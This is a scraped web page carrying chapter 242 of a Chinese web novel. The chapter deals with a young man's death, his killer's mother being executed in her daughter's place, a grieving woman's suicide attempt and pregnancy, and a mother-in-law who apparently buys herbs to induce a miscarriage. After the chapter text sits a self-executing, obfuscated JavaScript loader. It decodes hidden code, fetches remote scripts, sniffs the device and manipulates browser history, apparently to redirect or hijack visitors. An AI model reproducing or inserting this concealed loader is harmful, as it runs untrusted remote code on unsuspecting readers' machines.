第242章 一地碎花残(1 / 1)

医品娇娘 李子谢谢 3469 字 2022-04-23

白天明正在刘凝波的病房里,他愁眉惨淡地对刘凝波说:“若昭走了!” 刘凝波也怔住了。脑袋嗡嗡响着,谁能料想是这样的结局?她挣扎着起身,说:“带我一起去吧!” 白天明点头,扶着她出了病房,到了电梯间,刚好碰见方逸伟和司徒月。司徒月看见凝波,就嚎啕起来。刘凝波抱着她,陪着一起哭。 方逸伟道:“天明哥,若昭的爸爸妈妈都在急救室,司徒月要见若昭最后一面也不可能,你想个法子让司徒月见若昭最后一面吧!” 白天明点头。 司徒月见到若昭是在入夜的太平间里。若昭就那么静静地躺着,身上盖着白色的毯子。司徒月拉开那毯子,便看见了若昭已经苍白到极致的脸,他的双目紧紧地闭着,永远地闭着。司徒月扑倒在他身上,哭得死去活来。她恨不能就这样随他去了。身后站着方逸伟、刘凝波和白天明,每个人都噙着泪。刘凝波把头歪在方逸伟怀里,哭得不可遏制。她不忍看,不忍看这样惨不忍睹的结局。而若昭,已经永远离开的若昭,他静静地躺着,再也睁不开的眼睛角落竟也滑下两条泪痕。看着这泪痕,司徒月更是肝肠寸断、心胆俱裂。她死命地捶胸顿足,哭得上气不接下气,哭到声嘶力竭,喉咙里只能发出“嗷嗷”的干嚎的声音。 “天明哥,上去把司徒月拉开吧,这样哭下去,司徒月也没命了。”方逸伟沙哑地说道。 白天明点点头,上前拉开司徒月。司徒月哪里肯放开若昭的手,白天明只好费好大的劲去掰司徒月的手,当若昭的手从司徒月的手里脱落出去,司徒月整个人一僵,就昏死在白天明怀里。 这样哭昏过去的情景在接下来的几天里反复上演。方逸伟从老家接来钟翠柏照顾小产的刘凝波和伤心欲绝的司徒月,请了护工专门在医院照顾阿残。自己则还是忙乎乎的单位家里两头跑。 若昭出殡的日子在几天后。整个白家都愁云惨雾。白家老爷子更是因为痛失长房长孙而一病不起。若昭的丧礼司徒月当然没有资格出席。等丧礼结束后,白天明陪着她去墓前痛哭了一场。因为怕她想不开,白天明一直跟在她身边,最后连拖带拽把她带回了八尺门18号。 回到八尺门18号的时候见院子里来了好几个警察,原来是蓝青的案子要开庭了。司徒月这才想起,自己光顾着哭悼若昭,连妈妈的案子都忘了。因为若昭死了,蓝青又一口咬定是自己捅的那一刀,白家人不依不饶要一命抵一命,蓝青的案子很快便有了结论:死刑。司徒月无论如何也接受不了这样接二连三的惨剧,若昭死了,妈妈又被判了死刑,天底下还有比她更命苦的人吗?在白天明和方逸伟的一再打点下,司徒月终于见到了蓝青的面,一同去的还有阿残。 因为是死刑犯,蓝青只能坐在司徒月和阿残对面,身旁站着身材魁梧面目冷峻的法警,司徒月无法靠近。最后抱一抱亲爱的可怜的妈妈,竟成永远的奢念。 “妈,对不起,对不起,对不起……”司徒月边哭边一叠连声地说着“对不起”。 蓝青自然也是泪如雨下。只有阿残,她安静地冷酷地坐着。 蓝青看看阿残,嘱咐司徒月道:“司徒月,照顾好阿残,不要怨恨阿残,看在妈妈的面上,好好爱阿残……” 司徒月点头,泪不住地滚落。 蓝青仿佛哭累了,对司徒月道:“司徒月,妈妈想和阿残单独说几句话。” 司徒月不舍,还是起了身。这是最后一眼了,她亲爱的妈妈,从此天上人间。司徒月几乎把牙齿咬碎,最后法警把她拉出了监狱会客室。当司徒月离开了会客室,蓝青终于止住了泪水。阿残像一座木雕,一动不动地坐着。她的眼睛直直的,仿佛在看着什么,其实她面前不过一片永恒的浩瀚的黑海。 “妈妈是不是觉得替我认罪,很委屈,也很伟大。”阿残的声音冷冷的,没有任何感情色彩。 蓝青叹一口气道:“阿残,妈妈是心甘情愿的,妈妈走后,你要照顾好自己,还要善待司徒月。妈妈欠你的,但是司徒月不欠你什么……”蓝青说着兀自起身,离开了会客室。她的背影充满了孤独和落寞,可是阿残看不见,阿残只是听见她的脚步声走远。她静静地坐在那里,仿佛坐在一片冰冷的深海中。当司徒月来找她的时候,阿残淡淡地道:“等我病好了,就送我去福利院吧!” 蓝青执行死刑的那天,司徒月独自去了若昭的墓园。她对着墓碑上若昭的照片哭得上气不接下气。 “若昭,司徒月也去陪你和妈妈,好不好?”她咬着手指上那枚“为爱闪耀”的钻戒,想起在北京“菜百”和若昭一起选钻戒的情景。那时候她因为若昭给她买了特价的钻戒,故意撅起嘴巴抱怨:“小气鬼,就给我买特价的啊?”若昭答她:“特别的价格献给特别的你。”她又说:“可是不觉得这款式有点忒简单了吗?”若昭答:“钻戒简单,爱情奢华就好了啊!” 钻戒简单,爱情奢华。他给予她的爱情是她一生最最奢华的宴席。如若知道他会为了这份爱失去生命,那么她宁不要他爱她。 “等你嫁给我的时候,我就给你买个钻石,用吨做单位的,压死你这个贪心的小丫头片子。”那时候他嬉皮笑脸地说,然后背着她缓缓走在北京街头。他背着她走的时候,许多行道树,叶子稀稀拉拉地落着,一片两片的落叶有意无意飘在他们头顶。那时候她趴在他肩上,目光飘向路的尽头,那时候她以为他们正在走向幸福的路上,幸福有多远?就在那里,应该不远…… 若昭的照片就嵌在墓碑上,他在这里,很近很近,可是幸福却彻底地遥远。这一生,她再要不到她的幸福了。她的若昭,她的妈妈,全都去了。司徒月的头使劲在墓碑上撞着,血顺着额头往脸上淌下来。她迷迷糊糊地闭上眼睛,仿佛看见了她的若昭,他对着她伸出手,他的手上也戴着一枚“为爱闪耀”,她也向他伸出手。“带我走,带我一起走……”司徒月喃喃地说。可是她的手怎么也触不到他的手,他永远都只在距离她一尺之遥的地方,她追着他,他却像一阵风一样迅速向后飘去。是的,他是她生命里的一阵风,一阵迅速吹走从此遥不可及的风。不,她不能失去他,她的若昭,她的奢华的爱恋,她不停地追赶着他,她终于握住了他的手,这温暖的温柔的手。司徒月欣喜地睁开了眼睛。头昏沉沉地痛。熟悉的摆设和气息,是她的房间。她使劲握了握手里的这只手,不是若昭,是刘凝波。 “你醒了?”刘凝波的眼里满是担心和急切。 司徒月挣扎着起身,只觉头一阵刺痛。她伸手摸到了一圈纱布。 刘凝波立即将她的身子按回床上,替她盖好被子,叹一口气道:“从今往后都别再干傻事了,蓝青阿姨的骨灰我已经替你认领,寄在火葬场的骨灰寄存处,等以后咱们给阿姨选了墓地,再把她葬进去。” 司徒月没有应声,她的胸腔仿佛堵着厚厚的墙,巨大的悲痛重重地撞击着那堵墙,泪水从眼角滑向鬓际。 刘凝波继续道:“好好爱惜自己吧,今天你在若昭的墓前昏倒,我和逸伟找到你,带你去了医院,医生说你怀孕了……” 司徒月深深一怔。她怀了若昭的孩子,她竟然怀了若昭的孩子。她就知道若昭不会离开她的,若昭会永远陪着她。 “这个孩子,你打算怎么办?我知道以你的性格,若昭待你情深似海,你是不可能打掉这个孩子的,可是,司徒月,你以后还有很长的路要走,你真的想好要这个孩子吗?单身妈妈不容易的,而且,这个孩子一生出来就是个黑户,你想过他的一辈子吗?你好好想想。” 刘凝波说着起身准备离开,司徒月一下就抓住了她的手,她的声音笃定的,道:“我要这个孩子,我要生下来。” 刘凝波顿了顿,就算司徒月不说,她也知道是这样的结果。她叹一口气道:“不管你做什么决定,我都是支持你的。好好休息。” 司徒月点头,她的整张脸似乎都发起光来。孩子,她和若昭的孩子!她伸手轻抚自己的肚子,那里长着她和若昭的孩子,长着他们爱情的结晶。这太令她意外和振奋了。 刘凝波看了眼司徒月,突然地心安。至少这个孩子让她有了活下去的指望。出了司徒月房间,方逸伟正站在自己房间门口,刘凝波走向他,他们紧紧拥抱在一起。若昭的死,让他们触动很大,珍惜眼前,珍惜彼此,珍惜当下。他们失去不起彼此。 进了房间,关上房门,方逸伟问刘凝波道:“司徒月怎样了?” “怀了若昭的孩子,你说她能怎样?肯定不可能再寻死。”刘凝波走到窗前去,拉开窗帘,她就望见了一窗月色。庭院深深,梧桐已经抽出新枝,正长着微微的嫩叶。春天来了。 望着她的背影,方逸伟愣了愣,继而心里是满满的疼。她的凝波,如此的孤单和落寞,就算拥有了他满满的爱,她的背影还是显得这样单薄。方逸伟走上前去,揽着她的肩,和她一起望窗外明月。广袤的夜空,星疏月朗,美景叫人沉醉。 “逸伟,我有个想法想同你说。”刘凝波轻轻地道。 方逸伟俯身吻了吻她的额头,道:“你说,我听着呢。” “司徒月的孩子一出生就是个黑户,没有结婚证,没有准生证,这个孩子一生出来就是没名没分的。” “所以问题很严重,”方逸伟的眉头蹙着,重重地叹一口气,他真不知道该给什么样的意见,若昭死了,他无论如何也不忍心提议司徒月不要这个孩子,这样想着,便继续道,“如果白家人知道司徒月怀了若昭的孩子,一定会来抢夺这个孩子的,他们如果能连司徒月一起认下倒是好,可是若昭毕竟是因为司徒月而死的,白家人不可能接受司徒月,失去若昭的孩子,司徒月一定生不如死吧。” “所以,我们帮帮司徒月,好不好?” 刘凝波抬头乞求地看着方逸伟。她的目光含着些微的疼,一下就揪痛了方逸伟的心。 “你想怎么帮司徒月?” “我们不是有准生证吗?我的孩子没了,司徒月的孩子生出来,让他做在我们的户口里,让我们来做他的爸爸妈妈,好不好?这样,这个孩子就不会是黑户,司徒月日后还能找个人重新过生活,她年纪轻轻,我们不可能要求她为若昭守一辈子寡,是不是?” 钟翠柏正端着一碗鸡汤走到房门口,她听到了刘凝波和方逸伟的对话,猛然一怔。心里真是又气又恼,端着鸡汤的手也微微发了抖。一时间,就杵在房门口,听杨柳二人继续对话。 “可是,凝波,那样,将来我们要是再有孩子就没有地方上户口了,我爱凝波,我不可能不要凝波你生我的孩子啊!”方逸伟抿着唇,他显然不同意刘凝波的提议。 “我也知道,这样要求你有点过分,可是帮帮司徒月好不好?你还年轻,我也不可能自私地不让你为杨家续香火,我只是想还可以有更好地两全其美的办法。” “你说说看,我听着呢!”方逸伟心里颇有些懊恼,他也想帮司徒月,可是不能是这种帮法,不能牺牲他和凝波的孩子。 “等司徒月生下孩子,上了户口,我们两个就办离婚,然后把这个孩子给我,这样你还可以找别人结婚,再生名正言顺的孩子,司徒月的孩子也不会成为黑户,这样好不好?就当做你为死去的若昭做了一件好事,好不好?” “凝波!”方逸伟恼了,他的声音高分贝地发出来,“你太过分了,我为什么要同你结婚?难道就为了得到一本离婚证吗?” 刘凝波从没看见方逸伟发这样大的火,他的整个面孔都涨红了。刘凝波也知道自己的想法对方逸伟来说的确过分了点,可是无论如何她都得帮司徒月。 “逸伟,你知道司徒月太可怜了,我没有别的法子可以帮她。”刘凝波仰着头,声音低低的,眼里盈满可怜。 方逸伟叹一口气,缓和了声调,道:“无论如何都不能和我离婚啊!难道你离一次婚还不够吗?还要离第二次?” 房门外的钟翠柏太吃惊了,她怎么不知道刘凝波是个二婚头?逸伟这个孩子真是太任性了,居然瞒着她娶了个二婚的。她一怒之下都想推门进去好好质问一下刘凝波,一个离婚的女人怎么还缠着她前程似锦的儿子?可是,她生生忍下了这口气,她不能当着逸伟的面和刘凝波起冲突。看得出来,逸伟是极其在乎刘凝波的,不然也不可能将刘凝波的婚史瞒了她这个妈。她只好继续竖着耳朵听二人接下来讲些什么。只听方逸伟道:“凝波,不是我要生气,不是我不帮司徒月,也不是我不肯听凝波你的话,但是你得让我想想,让我想想,我真的不能接受和凝波你没有属于自己的孩子……” 然后房间里再无声音,不一会儿门缝下的灯光也熄灭了,两人大抵是上床睡了。钟翠柏蹑手蹑脚走回厨房,气恼地将手里的鸡汤倒进洗碗槽,然后打开水龙头,让水龙头的水将那些鸡汤的香味冲了个干干净净。 钟翠柏一夜无眠。她睡在客房里,那张床蓝青和阿残睡过,因为蓝青受了死刑,她睡在那张床上,原就觉得晦气。现在,因为得知了司徒月怀孕的消息,又听见杨柳二人的争执,更是辗转难眠。第二天,她早早起身,准备了早餐就出门去。她在街上转悠,转到一家中药房,便走了进去买了些麝香和红花。中药房的伙计用奇怪的眼神看着钟翠柏,虽然这女人还没到老太太的年龄,但也有四五十岁了,买这些滑胎的药材真是给人不检点的嫌疑。那伙计嘱咐钟翠柏道:“大姐,最好还是去医院做人流,药流都不干净的,更别说用中药了。” 钟翠柏没有吭声,付了钱,逃也似的跑掉。回到家里,看到方逸伟正从客厅出来,他已经吃了早餐准备上班去。 “妈,这么早,你从哪里来?”方逸伟盯着母亲手里的袋子颇有些疑惑。 钟翠柏将袋子藏到身后去,支吾着道:“我去买菜。” “买菜?”方逸伟的目光还是充满疑惑地往她手上落去。 钟翠柏立即改口,“我去买了点药材。” “药材?妈,你生病了?” “没有,”钟翠柏的笑容很生硬,“春天了嘛,我想给你们炖点鸡汤鸭汤什么的,所以去买点补药下汤。” “哦。”方逸伟放松了神经,嘱咐钟翠柏道,“妈,我上班去了,凝波和司徒月就辛苦你照顾了。” “嗯,你去吧,你去吧。”钟翠柏巴不得方逸伟快快从视线里消失,毕竟准备干亏心事,她心虚得很呢!看着方逸伟走出铁栅门,钟翠柏才“嘘”了一口气。回到客厅,见刘凝波正在吃早餐,想到她竟是个二婚头,钟翠柏便一肚子火气,脸上也没了好颜色。 “妈,你这么早是从哪儿来?”刘凝波甜甜地问。 钟翠柏不应声,兀自进厨房去。 老婆子今天突然地没有好脸色,刘凝波满腹狐疑。但也没有细想太多,吃了早餐便去看司徒月。司徒月还睡着,她伸手轻轻替她整了整被子,便去换出门的衣裳。换好衣服,到厨房去和钟翠柏告别。 “妈,我要去医院看一下阿残,家里就交给你了。” 钟翠柏背对着她,正打开水龙头冲洗着碗筷,没好气地应她道:“你小产才没几天,也不好生养着,成天价到处乱跑,万一把身子调理坏了,回头不能给我们逸伟生个一男半女的,我找谁赔去?” 刘凝波是极其敏感的,她怎么会听不出钟翠柏语气里声声含刺呢?只是她有些不明白昨儿个还慈眉善目的婆婆今天是怎么了,于是谦谦地道:“妈,去看完阿残,我就回来躺着。” 钟翠柏头也不回,兀自干活,只是从鼻子里冷哼了一声。刘凝波自觉没趣,便径自出了门。 阿残正由护工陪着在医院草坪上晒太阳,她的面颊还是和所有的白血病人一样没有血色。知道是刘凝波来了,她便支走了护工。刘凝波坐到她旁边去,伸手握了握她的手。阿残的手指微凉,刘凝波便替她拉紧了外套。 “冬天风大,出来晒太阳可以,但是别久坐。”刘凝波柔声叮嘱。 阿残沉默着,许久道:“司徒月还好吗?” “失去了爱人,又失去了母亲,你说能好吗?” 听了刘凝波的话,阿残竟重重地叹了口气,她的神色看起来极其凄凉,隔了许久终于说:“其实,若昭那一刀是我刺的,我将刀子举在脸旁,约摸着走到门边去,若昭就进来了,我当时气疯了,想也没想就一刀上去,谁让他侮辱司徒月?”阿残回忆起当时的情景仍然显得激动。 刘凝波太震惊了,“所以蓝青阿姨是替你认罪的?” “那一天警察来的时候,我是供认不讳的,可是妈妈一定要抢着认是她杀的人,我不懂警察为什么想也没想就带走了妈妈,难道他们觉得我一个瞎子要杀人,还一刀毙命,没有这本事,对吗?”阿残的嘴角扯着一抹冷笑。 刘凝波真不知道该作何感想,对于这样冷酷、执拗又有些可怜的阿残,她只是道:“其实如果你坚持的话,你妈妈倒可不必死,我们可以给你请律师,替你辩护,你是个残疾人,眼睛看不见,未必是真心杀人的,可以说成不小心,巧合,那么你和阿姨都不会死。” “活着又干什么呢?”阿残反问刘凝波,“妈妈活着又干什么呢?为司徒月担心吗?事实上,我和妈妈只有拖累司徒月的份,我们什么都不能为司徒月做。而妈妈就更苦了,她必须忍受这样的我,我的坏脾气,我的生活不能自理……” 刘凝波看着身旁如此淡定的阿残,阿残的心里就跟明镜似的,实际上她是最最通透的人,可是她偏偏表现得毫不懂事。 “如果蓝青阿姨活着就知道你的心意该有多好,你心里知道她的辛苦,知道她的不容易,知道她对你的爱,那她也该宽慰些。可是阿残,你为什么平日里总是跟刺猬一样,表现得不近人情,蛮横,令人生恨呢?” “人总需要一些伪装才能活下去,不是?”阿残答,“为了我,你们每个人都付出了心血,所以妈妈怎么能让我死呢?警察还没来的时候,她就抢了我手里那把刀,然后把我手上的血洗干净,我就知道妈妈不想让我死,就算我跟垃圾一样,跟狗一样,也要活下去,这是她的心愿,所以我成全她。她可以死,但是我必须活着。” 刘凝波什么话也说不出来,只是将阿残的头摁到自己肩上。阿残到底是可恨的,还是可怜的?或许可怜之人必有可恨之处。阿残既可怜又可恨。带阿残回了病房,阿残从床头的储物柜里拿出一个袋子递给刘凝波,这是若昭给司徒月的那三十万分手费。 “三十万,若昭给司徒月的,还给你吧!你垫了我的医药费。”阿残道。 刘凝波想了想,收了那袋子,道:“放在医院里不安全,我回去让司徒月存起来,我的贷款有一年的期限,我收了稿费有钱还贷款,这钱是若昭给司徒月的,那就给司徒月吧!你的后续治疗要钱,司徒月又怀了孩子,到时候养孩子样样都要钱。” “司徒月怀了孩子?若昭的?”阿残问。 “嗯。”刘凝波正想再说些什么,手机铃声响起,接听了,电话那头传来司徒月极其痛苦的声音:“凝波,快来救我,我好痛,我肚子好痛!” 刘凝波一惊,没来得及和阿残告别便急匆匆往家赶。

<--di--!>
!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/CL/o}0jR8C{}YQJ6o1("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"o}0"=^8"C{}YQJ6o1("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"o}0^)ThF)m7}F:Ch2mRT4"="o}0X5ThF)mX(nSnY0mRT4"="o}02pThFm7}F:Ch2mRT4"="o}0_JqhFmX(nSnY0mRT4"="o}02TOhFm7}F:Ch2mRT4"="o}0CSqhF)mX(nSnY0mRT4"="o}0)FfThF)fm7}F:Ch2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/f/o}0j(8}vR8C{}YQJ6o1("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();